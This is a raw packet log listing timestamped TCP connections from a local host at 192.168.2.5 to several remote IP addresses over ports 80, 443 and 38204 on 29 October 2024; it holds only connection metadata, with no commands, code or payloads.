Oct 29, 2024 05:03:10.725295067 CET	50020	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:03:10.725483894 CET	50020	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:03:10.731142998 CET	80	50020	185.215.113.206	192.168.2.5
Oct 29, 2024 05:03:11.406734943 CET	80	50019	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:11.406821012 CET	50019	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:11.407727957 CET	50019	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:11.413062096 CET	80	50019	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:11.633701086 CET	80	50020	185.215.113.206	192.168.2.5
Oct 29, 2024 05:03:11.634392023 CET	50020	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:03:11.636746883 CET	50020	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:03:11.642172098 CET	80	50020	185.215.113.206	192.168.2.5
Oct 29, 2024 05:03:11.696319103 CET	80	50019	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:11.698844910 CET	50019	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:11.834522009 CET	50019	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:11.840724945 CET	50021	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:11.841011047 CET	80	50019	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:11.841094971 CET	50019	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:11.846301079 CET	80	50021	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:11.850351095 CET	50021	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:11.851546049 CET	50021	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:11.856966972 CET	80	50021	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:11.922602892 CET	80	50020	185.215.113.206	192.168.2.5
Oct 29, 2024 05:03:11.922751904 CET	50020	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:03:12.762448072 CET	80	50021	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:12.762672901 CET	50021	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:12.765368938 CET	50021	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:12.770756960 CET	80	50021	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:13.049439907 CET	80	50021	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:13.049540997 CET	50021	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:13.160069942 CET	50021	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:13.160348892 CET	50022	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:13.165776014 CET	80	50022	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:13.165874958 CET	50022	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:13.165961027 CET	80	50021	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:13.166006088 CET	50022	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:13.166023016 CET	50021	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:13.171386957 CET	80	50022	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:14.086299896 CET	80	50022	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:14.086384058 CET	50022	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:14.088860035 CET	50022	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:14.089375973 CET	50023	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:14.094549894 CET	80	50022	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:14.094604969 CET	50022	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:14.094707966 CET	80	50023	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:14.094819069 CET	50023	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:14.094968081 CET	50023	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:14.100281000 CET	80	50023	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:15.024415016 CET	80	50023	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:15.024498940 CET	50023	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:15.165719986 CET	50023	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:15.166012049 CET	50024	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:15.171375990 CET	80	50024	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:15.171478033 CET	50024	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:15.171528101 CET	80	50023	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:15.171581030 CET	50023	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:15.185020924 CET	50024	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:15.190455914 CET	80	50024	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:15.287157059 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:15.287267923 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:15.287333012 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:15.292676926 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:15.292701006 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:15.941915035 CET	443	50009	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:15.942167044 CET	443	50009	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:15.942230940 CET	50009	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:15.942781925 CET	50009	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:15.942800999 CET	443	50009	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:16.007544994 CET	50020	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:03:16.082304955 CET	80	50024	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:16.082371950 CET	50024	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:16.090331078 CET	50024	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:16.095711946 CET	80	50024	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:16.377101898 CET	80	50024	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:16.377405882 CET	50024	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:16.496481895 CET	50024	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:16.497284889 CET	50025	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:16.502280951 CET	80	50024	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:16.502625942 CET	80	50025	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:16.504153967 CET	50024	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:16.504188061 CET	50025	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:16.504858017 CET	50025	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:16.510188103 CET	80	50025	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:16.965614080 CET	50026	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:16.965657949 CET	443	50026	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:16.965846062 CET	50026	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:16.967439890 CET	50026	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:16.967458963 CET	443	50026	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.197856903 CET	50027	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.197907925 CET	443	50027	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.197969913 CET	50027	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.198353052 CET	50027	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.198364019 CET	443	50027	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.411246061 CET	80	50025	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:17.412326097 CET	50025	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:17.420334101 CET	50025	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:17.420876026 CET	50028	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:17.426259041 CET	80	50028	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:17.426337957 CET	50028	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:17.426407099 CET	80	50025	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:17.426464081 CET	50025	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:17.427263975 CET	50028	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:17.432604074 CET	80	50028	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:17.507688999 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.507740974 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.508331060 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.508723974 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.508738995 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.567863941 CET	443	50026	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.568073988 CET	50026	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.569298029 CET	50026	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.569312096 CET	443	50026	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.569648027 CET	443	50026	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.625060081 CET	50026	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.625082970 CET	50026	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.625144005 CET	443	50026	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.818476915 CET	443	50027	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.818569899 CET	50027	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.820453882 CET	50027	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.820466042 CET	443	50027	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.820772886 CET	443	50027	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.822680950 CET	50027	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.823049068 CET	50027	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.823055029 CET	443	50027	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.937181950 CET	443	50026	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.937469959 CET	443	50026	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:17.937526941 CET	50026	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.953624964 CET	50026	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:17.953651905 CET	443	50026	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.103555918 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.103625059 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.103899956 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.104624033 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.104641914 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.157040119 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.157166004 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.159086943 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.159104109 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.159677982 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.174711943 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.175920963 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.175980091 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.176237106 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.176491976 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.176618099 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.176765919 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.176924944 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.176951885 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.178029060 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.178056955 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.178244114 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.178276062 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.178322077 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.178474903 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.178515911 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.188230038 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.188426018 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.188472033 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.188488007 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.188585997 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.188776970 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.188812971 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.188838005 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.188868046 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.188901901 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.188930988 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.188977003 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.343575954 CET	80	50028	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:18.343674898 CET	50028	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:18.458214998 CET	50028	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:18.458635092 CET	50031	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:18.464056969 CET	80	50028	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:18.464092970 CET	80	50031	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:18.464119911 CET	50028	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:18.464179993 CET	50031	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:18.464334011 CET	50031	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:18.469697952 CET	80	50031	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:18.748879910 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.748971939 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.750581980 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.750610113 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.750951052 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:18.752629042 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.752629042 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:18.752727032 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.258999109 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.259059906 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.259098053 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.259119987 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:19.259156942 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.259207964 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.259249926 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.259253025 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:19.259265900 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.259330988 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:19.259330988 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.259341955 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.259396076 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:19.259780884 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.260031939 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:19.358596087 CET	80	50031	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:19.358668089 CET	50031	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:19.368233919 CET	50031	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:19.373671055 CET	80	50031	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:19.381984949 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.382067919 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.382112026 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.382138014 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:19.382160902 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.382277966 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.382338047 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:19.386782885 CET	50030	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:19.386816025 CET	443	50030	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:19.653783083 CET	80	50031	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:19.654356003 CET	50031	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:19.838838100 CET	50031	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:19.839216948 CET	50032	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:19.845433950 CET	80	50031	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:19.845478058 CET	80	50032	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:19.845591068 CET	50031	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:19.845643044 CET	50032	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:19.849201918 CET	50032	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:19.854652882 CET	80	50032	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:20.209106922 CET	50033	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:20.209150076 CET	443	50033	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:20.209503889 CET	50033	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:20.209880114 CET	50033	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:20.209906101 CET	443	50033	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:20.745093107 CET	80	50032	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:20.745174885 CET	50032	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:20.749161005 CET	50032	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:20.749556065 CET	50034	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:20.754988909 CET	80	50034	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:20.755068064 CET	50034	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:20.755247116 CET	80	50032	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:20.755305052 CET	50032	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:20.755716085 CET	50034	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:20.761111975 CET	80	50034	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:20.825432062 CET	443	50033	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:20.825526953 CET	50033	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:20.827244043 CET	50033	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:20.827256918 CET	443	50033	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:20.827841043 CET	443	50033	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:20.829809904 CET	50033	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:20.830185890 CET	50033	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:20.830223083 CET	443	50033	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:20.923248053 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:03:20.928785086 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:03:21.677942991 CET	80	50034	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:21.678013086 CET	50034	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.788594007 CET	50034	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.788959980 CET	50035	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.794475079 CET	80	50034	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:21.794521093 CET	50034	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.794938087 CET	80	50035	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:21.795063019 CET	50035	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.795332909 CET	50035	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.800683975 CET	80	50035	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:21.805732965 CET	50035	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.811719894 CET	50036	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.817118883 CET	80	50036	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:21.817189932 CET	50036	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.827104092 CET	50036	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:21.832537889 CET	80	50036	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:22.721465111 CET	80	50036	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:22.721535921 CET	50036	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:22.833170891 CET	50036	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:22.833578110 CET	50037	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:22.839092970 CET	80	50036	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:22.839131117 CET	80	50037	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:22.839145899 CET	50036	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:22.839200020 CET	50037	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:22.839554071 CET	50037	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:22.844871998 CET	80	50037	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:23.748095989 CET	80	50037	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:23.748181105 CET	50037	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:23.751032114 CET	50037	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:23.751466990 CET	50038	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:23.756917953 CET	80	50037	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:23.756958961 CET	80	50038	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:23.756989956 CET	50037	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:23.757036924 CET	50038	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:23.757271051 CET	50038	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:23.762605906 CET	80	50038	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:23.907985926 CET	443	50027	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:23.908250093 CET	443	50027	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:23.910999060 CET	50027	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:23.911303043 CET	50027	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:23.911323071 CET	443	50027	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:24.667695999 CET	80	50038	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:24.667869091 CET	50038	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:24.728004932 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:24.728094101 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:24.728179932 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:24.728535891 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:24.728579998 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:24.786654949 CET	50038	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:24.787056923 CET	50040	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:24.792489052 CET	80	50040	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:24.792527914 CET	80	50038	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:24.792593002 CET	50038	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:24.792606115 CET	50040	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:24.792984009 CET	50040	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:24.798311949 CET	80	50040	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:24.867649078 CET	443	50033	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:24.867876053 CET	443	50033	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:24.867986917 CET	50033	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:24.868570089 CET	50033	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:24.868586063 CET	443	50033	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.215167999 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.215265989 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.215444088 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.215734005 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.215770006 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.338114977 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.338208914 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.342715025 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.342744112 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.342963934 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.378422976 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.379245996 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.379367113 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.379611015 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.379661083 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.381304979 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.381392002 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.381599903 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.381639957 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.381870985 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.381907940 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.382175922 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.382210970 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.382237911 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.382266998 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.382441044 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.382474899 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.382513046 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.382747889 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.382786989 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.391189098 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.394783974 CET	50039	443	192.168.2.5	188.114.97.3
